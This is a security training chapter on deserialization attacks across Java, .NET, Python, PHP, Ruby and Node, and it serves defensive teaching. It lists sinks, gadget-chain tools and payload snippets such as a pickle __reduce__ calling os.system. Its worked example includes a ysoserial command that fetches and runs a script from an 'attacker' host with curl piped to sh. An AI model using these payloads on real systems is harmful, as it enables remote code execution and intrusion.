Frontend Labs
⋯

Chapter 37 — Deserialization attacks

In one sentence

Deserializing attacker-controlled bytes with a native serializer (Java ObjectInputStream, .NET BinaryFormatter, Python pickle, PHP unserialize, Ruby Marshal/YAML.load) lets an attacker instantiate objects and trigger "gadget chains" already present in your dependencies — usually reaching RCE.

Where we are

G1 Ch 47 named insecure deserialization as a supply-chain/integrity issue. This chapter is how the exploitation actually works per language and how to shut it off.

How it works

Why it's RCE and not just "weird objects": the serializer, on reading the stream, constructs objects and calls lifecycle methods (readObject, __wakeup/__destruct, __reduce__, readExternal, deserialization callbacks). A "gadget chain" is a sequence of classes already on your classpath whose lifecycle methods, when wired together via the crafted object graph, end in Runtime.exec / ProcessBuilder / system() / a JNDI lookup / a reflected method call.

   JAVA
     Sink: `ObjectInputStream.readObject()` on untrusted data. Also RMI,
       JMX, JNDI (Log4Shell class), some JSON libs with type info
       (Jackson `enableDefaultTyping`, `fastjson` autotype), XMLDecoder,
       `Yaml.load` (SnakeYAML).
     Chains: Apache Commons-Collections (1-7), Commons-BeanUtils, Spring,
       Groovy, ROME, C3P0, Hibernate, Click, Vaadin -- `ysoserial`
       generates payloads for ~30.
     Recognise: magic bytes `AC ED 00 05` (hex) / base64 starts `rO0`.
     Also: gadget chains that trigger a JNDI lookup -> LDAP/RMI ->
       remote class load (the Log4Shell mechanism) even without a local
       exec gadget.
   .NET
     Sinks: `BinaryFormatter` (removed in .NET 9, still everywhere in
       .NET Framework), `LosFormatter` / `ObjectStateFormatter` ->
       ASP.NET VIEWSTATE (if MAC disabled OR the machineKey is known/
       default -> RCE), `SoapFormatter`, `NetDataContractSerializer`,
       `Json.NET` with `TypeNameHandling != None`, `JavaScriptSerializer`
       + a `SimpleTypeResolver`, `fastJSON`, `XmlSerializer` with an
       attacker-controlled type, `DataContractSerializer` similarly.
     Tool: `ysoserial.net` (TypeConfuseDelegate, ActivitySurrogate-
       Selector, ObjectDataProvider, ...). ViewState: `--generator=` +
       the machineKey.
   PYTHON
     Sinks: `pickle.loads` / `cPickle` / `_pickle`, `shelve`, `dill`,
       `pandas.read_pickle`, `numpy.load(allow_pickle=True)`,
       `joblib.load`, `torch.load` (pre-2.6 default), `yaml.load` without
       `SafeLoader` (`!!python/object/apply:os.system ['id']`),
       `jsonpickle`.
     Mechanism: a class defines `__reduce__(self): return (os.system,
       ('id',))` -> unpickling calls it. Trivial to write; no gadget
       hunting needed.
   PHP
     Sink: `unserialize()` on untrusted input -> POP chains via magic
       methods (`__wakeup`, `__destruct`, `__toString`, `__call`,
       `__get`) of classes in the app + frameworks (Laravel, Symfony,
       Monolog, Guzzle, ...). Tool: `PHPGGC`.
     PHAR: `phar://` wrapper triggers `unserialize` of the phar's
       metadata on ANY filesystem op (`file_exists`, `fopen`,
       `getimagesize`, `is_file`, ...) with a crafted `.phar` -- no
       explicit `unserialize()` call needed (mostly PHP < 8, but check).
   RUBY
     Sinks: `Marshal.load`, `YAML.load` (Psych: `--- !ruby/object:...`),
       `Oj.load` in some modes, `CSV` with converters.
     "Universal" gadget chains exist for recent Ruby/Rails
       (`universal_deserialisation_gadget`).
   NODE
     Sinks: `node-serialize` (`{"x":"_$$ND_FUNC$$_function(){...}()"}`
       -> IIFE RCE), `serialize-javascript` misused, `funcster`, `cryo`.
       Also prototype pollution via `JSON.parse` + merge (Ch 34).

Defence:

   [ ] DON'T deserialize untrusted data with a native serializer. Use a
       DATA format with no code semantics: JSON (plain), Protocol Buffers,
       MessagePack, CBOR -- parsed into known DTOs / schemas.
   [ ] If you MUST accept a serialized object:
       Java  -- `ObjectInputFilter` (JEP 290): an ALLOWLIST of expected
                classes + limits (depth, refs, array size). Reject
                everything else. Consider SerialKiller / NotSoSerial.
       .NET  -- don't use BinaryFormatter; `Json.NET` with
                `TypeNameHandling.None`; ViewState: enable MAC +
                encryption, unique per-app `machineKey`, `ViewStateUserKey`.
       Python-- `yaml.safe_load` always; never unpickle untrusted; if a
                trusted pickle must cross a boundary, HMAC-sign it and
                verify before loading. `torch.load(weights_only=True)`.
       PHP   -- `json_decode`; `unserialize($data, ['allowed_classes' =>
                false])`; set `phar.readonly=1`; be wary of filesystem
                functions on user-controlled paths (phar).
       Ruby  -- `YAML.safe_load` (permitted_classes allowlist); `JSON`.
   [ ] Type-info in JSON: Jackson -> never `enableDefaultTyping` /
       `@JsonTypeInfo` with a permissive base; fastjson -> `safeMode`.
   [ ] Integrity: sign serialized blobs you legitimately round-trip
       through a client (HMAC), and verify before deserializing --
       though "don't deserialize untrusted" is still better.
   [ ] Network: the deserializing process with no outbound (kills JNDI/
       LDAP remote class load) and least privilege.

Worked example

Java readObject on a cookie -> RCE, and the JEP 290 filter.

   A legacy SecureShop service stores a "remember-me" token as a
   base64-encoded serialized Java object in a cookie, and does:
     Object o = new ObjectInputStream(
       new ByteArrayInputStream(b64decode(cookie))).readObject();

   ATTACK:
     ysoserial CommonsCollections6 'curl http://attacker/s.sh|sh' \
       | base64 -w0
     -> set as the cookie -> the service deserializes it -> the
        Commons-Collections gadget chain runs the command -> RCE as the
        service user -> then Part 4/5 lateral movement.

   FIX (in order of preference):
     1. Stop serializing Java objects into client-visible tokens. Use a
        signed JWT / an opaque server-side session id (G1 Ch 46).
     2. If the format must stay for a migration window: an
        ObjectInputFilter allowlisting ONLY the two DTO classes the
        token legitimately contains, with maxdepth/maxrefs limits:
          ObjectInputFilter f = ObjectInputFilter.Config.createFilter(
            "com.securesh.RememberMe;com.securesh.UserRef;" +
            "!*;maxdepth=5;maxrefs=20");
          ois.setObjectInputFilter(f);
        A CommonsCollections payload -> rejected (class not in allowlist).
     3. The service runs with no outbound network (a JNDI-based chain
        can't fetch a remote class) and as a non-root, minimal user.
     4. Alert on the service spawning a child process.

Practice (75 min)

  1. PortSwigger Academy "Insecure deserialization" track: PHP (modify serialized objects, unserialize to RCE via a gadget with PHPGGC), Java (ysoserial against a Java lab), .NET/Ruby where labs exist, and the "developing a custom gadget chain" labs.
  2. Locally, per language you use:
    • Python: an endpoint that pickle.loads a request field. RCE with a __reduce__ class. Then switch to JSON + a dataclass; re-test. Also yaml.load -> yaml.safe_load.
    • Java: a readObject sink + Commons-Collections on the classpath; RCE with ysoserial. Then add a JEP 290 allowlist filter; re-test.
    • PHP: an unserialize sink + a magic-method gadget; RCE with PHPGGC. Then ['allowed_classes' => false].
    • .NET (if applicable): a Json.NET TypeNameHandling.Auto endpoint; RCE with ysoserial.net; fix to .None.
  3. ViewState: a lab ASP.NET app with a known/default machineKey; forge a ViewState with ysoserial.net. Fix: unique key + MAC + encryption.
  4. Add Semgrep/CodeQL rules for the sinks in your languages; wire into CI.

Common mistakes

  • Deserializing untrusted input at all with a native serializer. JSON/ protobuf into typed DTOs instead.
  • "We removed the obvious exec gadget." Chains that trigger JNDI/LDAP remote class loading don't need a local exec gadget (Log4Shell mechanism). Allowlist classes; deny egress.
  • yaml.load without SafeLoader. Full object instantiation. Always safe_load.
  • Jackson enableDefaultTyping() / permissive @JsonTypeInfo; fastjson autotype on. Turns JSON into a deserialization sink.
  • ASP.NET ViewState with a default/shared/committed machineKey or MAC disabled. Forgeable ViewState = RCE.
  • PHP filesystem functions on user-controlled paths. phar:// triggers deserialization without an unserialize call.
  • Signing the blob but still using a native deserializer on it. Better than nothing, but a key leak or a signing bug is back to RCE. Prefer a data format.

Check yourself

  1. Why does deserialization become RCE rather than just "unexpected objects"?
  2. What is a gadget chain, and where do the gadgets come from?
  3. Give the magic bytes for a Java serialized stream and a Python __reduce__ RCE snippet.
  4. What is the phar:// trick in PHP and why is it dangerous even without an unserialize() call?
  5. What is JEP 290 / ObjectInputFilter and what does it let you do?
  6. Why does denying outbound network from the deserializing process matter?

Further reading

  • Talks: "Marshalling Pickles" (Frohoff & Lawrence, AppSecCali 2015) — the talk that launched modern Java deserialization; "Friday the 13th: JSON Attacks" (Muñoz & Mirosh) for .NET/JSON.
  • Tools: ysoserial (Java), ysoserial.net, PHPGGC, marshalsec; GadgetProbe (Burp) to fingerprint classpath gadgets.
  • Cheat sheet: OWASP "Deserialization Cheat Sheet"; the "Java Deserialization Cheat Sheet" (GrrrDog).
  • Reference: JEP 290 & JEP 415 (context-specific filters); Jackson's "polymorphic deserialization" security notes; the ViewState / __VIEWSTATE RCE write-ups (Soroush Dalili).

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36